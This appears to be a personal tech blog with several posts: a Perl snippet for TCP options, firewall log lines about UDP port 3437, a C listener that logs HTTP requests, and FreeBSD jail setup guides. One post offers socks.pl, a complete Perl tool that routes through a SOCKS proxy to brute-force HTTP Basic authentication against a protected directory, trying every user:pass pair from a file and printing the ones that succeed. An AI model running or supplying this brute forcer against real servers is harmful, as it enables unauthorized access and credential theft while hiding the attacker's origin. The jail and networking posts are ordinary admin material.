Derek's random thoughts

Converting IP Options from binary to hex in Perl

2010-04-22T08:16:00.000-07:00

A quick one liner to convert TCP Options from binary to Hex.

my $tcp_obj = NetPacket::TCP->decode($ip_obj->{data});
my $tcp_options = sprintf("%08X",unpack("N",$tcp_obj->{options})).

UDP Port 3437

2009-11-10T16:53:00.000-08:00

I have been seeing traffic like this on my firewall more and more. Does anyone know what it is?

99. 101103 rule 19/0(match): block in on le0: 4.234.24.139.34247 > 192.168.100.7.3437: UDP, length 31
44. 809854 rule 19/0(match): block in on le0: 24.197.158.193.36787 > 192.168.100.7.3437: UDP, length 35
19. 922285 rule 19/0(match): block in on le0: 219.58.194.9.6346 > 192.168.100.7.3437: UDP, length 31
603. 012552 rule 19/0(match): block in on le0: 75.83.84.151.24363 > 192.168.100.7.3437: UDP, length 31
509. 641906 rule 19/0(match): block in on le0: 124.184.98.120.25705 > 192.168.100.7.3437: UDP, length 35

Listen for http connections with C

2009-11-03T13:48:00.000-08:00


#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#include  <arpa/inet.h>
#include <time.h>

#define PORT 30000
#define MAXBUFF 1024

int wwwsock;

void myError(char *err) {
    perror(err);
    exit(1);
}

void catchSig(int sig) {
  close(wwwsock);
 exit(0);
}

int main(int argc, char *argv[]) {
 char timebuff[250];

 char *buffer;
 char *req;
 int clientAddr, newConnection, size;
 int optval=1;

 time_t curtime;
 struct sockaddr_in serv_addr, cli_addr;
 
  (void)signal(SIGINT, catchSig);
 wwwsock = socket(AF_INET, SOCK_STREAM, 0);

 
 if(wwwsock<0) 
  myError("Socket Failed\n");
 

 memset(&serv_addr,'\0',sizeof(serv_addr));
 serv_addr.sin_family = AF_INET;
 serv_addr.sin_addr.s_addr = INADDR_ANY;
 serv_addr.sin_port = htons(PORT);

 setsockopt(wwwsock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval);
 
 if (bind(wwwsock,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0) {

  char error[30];
  sprintf(error,"ERROR binding to port %d",PORT);
  myError(error);
 }

 
 listen(wwwsock,5);
 clientAddr=sizeof(struct sockaddr_in);
 buffer=malloc(MAXBUFF); 

 req=malloc(MAXBUFF);
 while(1) {
  newConnection=accept(wwwsock,(struct sockaddr *) &cli_addr,(socklen_t *)&clientAddr);

  memset(buffer,'\0',sizeof(buffer));
  
  if(recv(newConnection,buffer,MAXBUFF,0) > 0) {

  
   if(strstr(buffer,"\n")) {
    size=(strlen(buffer)-strlen(strstr(buffer,"\n")));

   }
   else
    size=0;
   
   if(size>0 && size<MAXBUFF) {

    curtime=time(NULL);
    strftime(timebuff,sizeof(timebuff),"%c",localtime (&curtime));
    strncpy(req,buffer,size+1);
    printf("%s Client %s Requested %s",timebuff,inet_ntoa(cli_addr.sin_addr),req);

   }
   
   send(newConnection,"HTTP/1.1 404 Not Found\r\nConnection: close\r\n\r\n",22,0);

   close(newConnection);
  }
 } 
 close(wwwsock);
 return 0; 

}

Using Ports within a jail

2009-02-15T14:08:00.000-08:00

To cut down on hard drive space use it's a good idea to use the ports directory from the main system in each jail. To secure it the best idea is to mount /usr/ports read only. The problem with having /usr/ports read only is the source can not be saved in /usr/ports/distfiles. To fix this we need to tell make to save the files elsewhere.

First edit /etc/fstab and add
/usr/ports/PATH_TO_JAIL /usr/ports nullfs ro 0 0

After remount file systems
mount -a

From within the jail create the dir /var/distfile and add
DISTDIR=/var/distfile and WRKDIRPREFIX=/var/distfiles to /etc/make.conf

All the files shoud besave in /var/distfile from now on.

HTTP Basic auth brute forcer that connects via a socks proxy

2007-10-14T10:35:00.000-07:00

socks.pl is a perl script that connects to a socks proxy and try's every user and password in the file given against a protected web directory.

Modules needed IO::Socket::Socks, MIME::Base64 and Getopt::Std

Usage:
perl socks.pl -s SOCKS_PROXY -d WEB_DIR -f USER_FILE -i WEB_SERVER -p PROXY_PORT -P WEB_SERVER_PORT

USER_FILE Format:
User:Pass

References:
RFC1945


use IO::Socket::Socks;
use MIME::Base64;
use Getopt::Std;
use strict;

sub setOpts {

    my $optString='s:p:f:d:i:P:';
    my %opt;

    my %configHash;

    if($#ARGV >=11) {
        getopts($optString,\%opt) or printError("Error on use $0 -s Proxy Server -d Protected File  -f User and Password File -p proxyport -i Web Server IP -P Web Server Port");
        $configHash{'PServer'}=$opt{'s'} if(defined($opt{'s'}));
        $configHash{'PPort'}=$opt{'p'} if(defined($opt{'p'}));
        $configHash{'SIP'}=$opt{'i'} if(defined($opt{'i'}));
        $configHash{'SPort'}=$opt{'P'} if(defined($opt{'P'}));
        $configHash{'Sdir'}=$opt{'d'} if(defined($opt{'d'}));
        $configHash{'IDfile'}=$opt{'f'} if(defined($opt{'f'}));

    }
    else {
        printError("Error on use $0 -s Proxy Server -d Protected File  -f User and Password File -p proxyport -i Web Server IP -P Web Server Port");

    }
    return %configHash;
}

sub connectProxy {

    my %configHash=@_;
    $configHash{'sock'} = new IO::Socket::Socks(ProxyAddr=>$configHash{'PServer'}, 
                                                ProxyPort=>$configHash{'PPort'}, 
                                                ConnectAddr=>$configHash{'SIP'},
                                                ConnectPort=>$configHash{'SPort'}) or die($!);
    return %configHash;

}

sub printError {
 my $errorMsg=$_[0];

 print STDERR $errorMsg."\n";
 exit();
}

sub checkFile {
 my $fileName=$_[0];
 printError("Please check file $fileName") if (! -f $fileName);

}

sub loadFile { my %configHash=@_;
 open(USER,'<',$configHash{'IDfile'}) or printError("$! on file $configHash{'IDfile'}");

}


sub convUserPass{
    my %configHash=@_;

    $configHash{'encUserPass'}=encode_base64($configHash{'userInfo'});

    return %configHash;

}

sub logIN {
    my %configHash=@_;

    while(<USER>) {
        %configHash=connectProxy(%configHash);
        $configHash{'userInfo'}=$_;

        chomp($configHash{'userInfo'});
        %configHash=convUserPass(%configHash);

        my $socks=$configHash{'sock'};

        print $socks "GET ".$configHash{'Sdir'}." HTTP/1.0\nHost: localhost\nAuthorization: Basic ".$configHash{'encUserPass'}."\n\n";

        my $rsp;
        $socks->read($rsp,15);

        print $configHash{'userInfo'}."\n" if($rsp eq 'HTTP/1.1 200 OK');

    }
}

sub closeProxy {
    my %configHash=@_;

    %configHash=connectProxy(%configHash)->close();
}

sub init {

    my %configHash=setOpts();

    checkFile($configHash{'IDfile'});
    loadFile(%configHash);

    logIN(%configHash);

}
init();

FreeBSD jails the easy way

2007-10-13T21:44:00.000-07:00

Jails are a nice easy way to isolate processes in FreeBSD. A jail makes it possible to run services in a virtual system keeping them from interacting with the host system. More in depth information can be found here .

Most if not all of the tutorials I have found have you recompile the system into a new directory like the section6 wiki. This just seems overly complicated and hard to do especially if you are in a pinch for time. Getting ready for a security competition my partner Sean Jordan introduced me to the sysinstall method of making jails.

When making partitions I like to create a /jail partition to give the jails their own partition. I suggest making it at least 2 gigs for each jail. Also remember all the files used by the users / services in the jail need to be on that partition so size it accordingly. Each jail needs it's own ip address, for my set up I am behind a router running nat using the subnet 172.16.67.0/24.

Once FreeBSD is installed start making the needed directories.

mkdir /jail/master
mkdir /jail/master/usr/
cp -R /bin/ /jail/master/bin
cp -R /etc/ /jail/master/etc
cp -R /lib/ /jail/master/lib
cp -R /libexec/ /jail/master/libexec
cp -R /sbin/ /jail/master/sbin
cp -R /usr/share /jail/master/usr/share
cp -R /usr/bin /jail/master/usr/bin
cp -R /usr/sbin /jail/master/usr/sbin
cp -R /usr/lib /jail/master/usr/lib

Once you have all the need directories chroot your self into /jail/master and run sysinstall

chroot /jail/master /bin/csh
/usr/sbin/sysinstall

Once you are in choose

Configure
Distributions
base
(use ftp for media source)
exit sysinstall

When you have the whole base distributions exit the chroot

exit

For demonstration purposes I'll create 2 jails ssh and dns

cp -R /jail/master/ /jail/ssh
cp -R /jail/master/ /jail/dns

After the directories are made edit /etc/rc.conf

vi /etc/rc.conf

Add the following lines

ifconfig_lnc0_alias0="172.16.67.47 netmask 255.255.255.0" #Add alias for your network
ifconfig_lnc0_alias1="172.16.67.48 netmask 255.255.255.0" #Add alias for your network
jail_enable="YES" # Set to NO to disable starting of any jails
jail_list="ssh dns" # Space separated list of names of jails
jail_set_hostname_allow="NO" # Allow root user in a jail to change its hostname
jail_socket_unixiproute_only="YES" # Route only TCP/IP within a jail
jail_ssh_rootdir="/jail/ssh"
jail_ssh_hostname="ssh.bsd.local"
jail_ssh_ip="172.16.67.47"
jail_ssh_exec_start="/bin/sh /etc/rc"
jail_ssh_devfs_enable="YES"
jail_ssh_devfs_ruleset="devfsrules_jail"
jail_dns_rootdir="/jail/dns"
jail_dns_hostname="dns.bsd.local"
jail_dns_ip="172.16.67.48"
jail_dns_exec_start="/bin/sh /etc/rc"
jail_dns_devfs_enable="YES"
jail_dns_devfs_ruleset="devfsrules_jail"

Once the file is saved start the jails and setup the nic

sh /etc/rc

Check to see that the jails are running by using jls

JID IP Address Hostname Path
2 172.16.67.48 dns.bsd.local /jail/dns
1 172.16.67.47 ssh.bsd.local /jail/ssh

Check to see if the interface is listening on the correct ip address by running ifconfig

lnc0: flags=108843 mtu 1500
inet6 fe80::20c:29ff:fe3c:1ce8%lnc0 prefixlen 64 scopeid 0x1
inet 172.16.67.46 netmask 0xffffff00 broadcast 172.16.67.255
inet172.16.67.47 netmask 0xffffff00 broadcast 172.16.67.255
inet 172.16.67.48 netmask 0xffffff00 broadcast 172.16.67.255

To enter a jail use jexec

jexec 1 /usr/local/bin/bash

Stopping jails can be done in two ways /etc/rc.d/jail or pkill.
To stop all running jails run

/etc/rc.d/jail stop

To stop just 1 jail run

pkill -j JID

Once you are in the jail you can do what ever you would do on a normal system. If you want to use icmp within the set security.jail.allow_raw_sockets to 1 in /etc/sysctl.conf

security.jail.allow_raw_sockets=1

On a final note there are no users within the jail yet and the root user has no password so be sure to set one using the passwd command.